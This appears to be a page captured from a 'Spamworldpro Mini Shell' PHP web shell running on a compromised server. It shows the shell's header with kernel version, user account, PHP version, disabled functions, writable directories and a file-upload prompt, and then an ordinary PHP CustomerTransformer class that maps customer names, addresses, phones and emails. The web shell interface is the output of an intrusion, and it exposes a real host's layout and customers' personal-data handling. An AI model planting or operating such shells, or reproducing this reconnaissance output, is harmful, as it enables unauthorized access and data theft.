Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/rentpix.corals.io/Corals/modules/RentPix/Transformers/API/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/rentpix.corals.io/Corals/modules/RentPix/Transformers/API/CustomerTransformer.php
<?php

namespace Corals\Modules\RentPix\Transformers\API;

use Corals\Foundation\Transformers\APIBaseTransformer;
use Corals\Modules\RentPix\Models\Customer;

class CustomerTransformer extends APIBaseTransformer
{
    /**
     * @param  Customer  $customer
     * @return array
     *
     * @throws \Throwable
     */
    public function transform(Customer $customer)
    {
        $transformedArray = [
            'type' => $customer->type,
            'name' => $customer->name,
            'first_name' => $customer->first_name,
            'last_name' => $customer->last_name,
            'address' => $customer->address,
            'city' => $customer->city,
            'state' => $customer->state,
            'zip' => $customer->zip,
            'phone' => $customer->phone,
            'email' => $customer->email,
        ];

        return parent::transformResponse($transformedArray);
    }
}

Spamworldpro Mini